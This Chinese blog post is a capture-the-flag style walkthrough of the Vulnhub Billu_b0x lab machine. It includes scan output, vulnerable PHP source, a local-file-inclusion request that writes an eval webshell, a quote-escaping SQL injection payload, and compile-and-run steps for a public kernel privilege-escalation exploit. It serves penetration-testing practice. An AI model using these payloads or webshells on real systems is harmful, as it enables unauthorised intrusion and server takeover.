Yoga7xm's Blog

Vulnhub之Billu_b0x

字数统计: 1.2k阅读时长: 5 min
2019/01/15 Share

0x00 前言

路漫漫其修远兮,吾将上下而求索

0x01 环境搭建

传送门

  • 靶机IP 192.168.1.16
  • 攻击机win 192.168.1.11
  • 攻击机kali 192.168.1.156
  • 攻击机Ubuntu 192.168.1.166

0x02 Play

1.信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 fa:cf:a2:52:c4:fa:f5:75:a7:e2:bd:60:83:3e:7b:de (DSA)
| 2048 88:31:0c:78:98:80:ef:33:fa:26:22:ed:d0:9b:ba:f8 (RSA)
|_ 256 0e:5e:33:03:50:c9:1e:b3:e7:51:39:a4:4a:10:64:ca (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: --==[[IndiShell Lab]]==--

只开了80和22端口,只能从80下手,主页白胡子老大镇图

日常扫目录

dirb "http://192.168.64.161" /usr/share/dirb/wordlists/big.txt

扫到了index.php、test.php、show.php、add.php、panel.php、c..php、head.php、head2.php、in.php 以及phpmy、uploaded_images、images目录。

打开这几个页面,都没啥重要内容,直到打开了http://192.168.1.16/test.php

于是get传了个参数无果,post参数成功,发现可以下载任意文件

于是下载了所有文件和passwd文件进行审计。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");

if(isset($_POST['continue']))
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);

if($choice==='add')
{
include($dir.'/'.$choice.'.php');
die();
}
if($choice==='show')
{

include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);
}
}

收获数据库账号密码一枚, 本地文件包含漏洞一枚, 存在一个ica的用户,其余的上传和Sql查询过滤了都,无法进行bypass。

2.Getshell

恰逢刚刚扫出的几个目录,有个phpmy打开后发现是个phpmyadmin程序,于是利用刚刚的账号密码登录,success!!! 然后去数据库找后台登录的账号密码

这里是明文存储的 账号:biLLu 密码:hEx_it 主页是 香克斯镇图

此处上传并没有利用的办法,最开始想通过phpmyadmin拿shell,于是利用test.php不断猜测网络绝对路径。

但是因为不是root权限,所以无法更改日志文件位置,又想通过INTOFILE 导出一句话,但是没有创建表的权限….

所以回到之前那个LFI的点,上传一个图片马,然后包含连菜刀

在本目录下写个一句话,用菜刀连接 http://192.168.1.16/uploaded_images/test.php

1
load=uploaded_images/cmd.jpg&continue=&cmd=file_put_contents('/var/www/uploaded_images/test.php','<?php @eval($_POST["test"]);?>');

3.提权

执行命令 查看权限 内核版本

Google 查询linux kernel 3.13.0-32-generic exploit,在 https://www.exploit-db.com/exploits/37292找到了一个溢出提权exp

利用菜刀 把大马和37292.c文件上传至目标机中,然后利用大马进行反弹出shell

1
2
3
chmod 777 37292.c 
gcc 37292.c -o exp
./exp


4.其他思路

还有一种进后台的方式就是利用SQL注入。部分关键 SQL查询语句如下:

1
2
3
$uname=str_replace('\'','',urldecode($_POST['un'])); $pass=str_replace('\'','',urldecode($_POST['ps'])); 

select * from auth where pass=' $pass ' and uname=' $uname ';

把uname和pass中的单引号全部转换为空,所以单引号闭合很难,但是可以通过转义第二个单引号,使得第一个和第三个单引号进行闭合,此时uname就能借助#注释第四个单引号,最后就是

1
select * from auth where pass='\\\' and uname='or 1=1;#';

mysql 在插入数据库的时候,会自动去除转义字符也就是反斜杠,在入库的时候第一个反斜杠被认为是转义字符,第二个反斜杠被认为是常规内容,所以去除了第一个反斜杠,保留了第二个,第三个反斜杠被认为转义字符,后面的单引号就保留了

1
2
3
4
5
6
7
mysql> select ' \\\' ';
+----+
| \' |
+----+
| \' |
+----+
1 row in set

还有一个更为简单的办法,扫phpmy目录可以得到config.inc.php文件,里头有ssh登录账密,直接root登录就好了

0x03 总结

  1. 扫端口,并没有扫出有用的端口,只有22和80
  2. 扫目录,扫出来了个重要的入口点就是test.php,然后利用文件下载可以下载任何文件,下载了几个重要文件
  3. 拿到了数据库的账号密码然后登进去了phpmyadmin,并且又拿到了后台登录密码,开始尝试拿shell但是没有权限,所以无奈的去审计代码发现了个文件包含漏洞
  4. 在文件上传处上传一个图片马,然后包含它成功getshell,然后写一个一句话用菜刀去连接,完了上传大马后反弹shell
  5. 查看发行版本和内核版本,然后去Google了一个溢出提权的exp,上传至目标机然后编译运行成功提权。
CATALOG
  1. 1. 0x00 前言
  2. 2. 0x01 环境搭建
  3. 3. 0x02 Play
    1. 3.1. 1.信息收集
    2. 3.2. 2.Getshell
    3. 3.3. 3.提权
    4. 3.4. 4.其他思路
  4. 4. 0x03 总结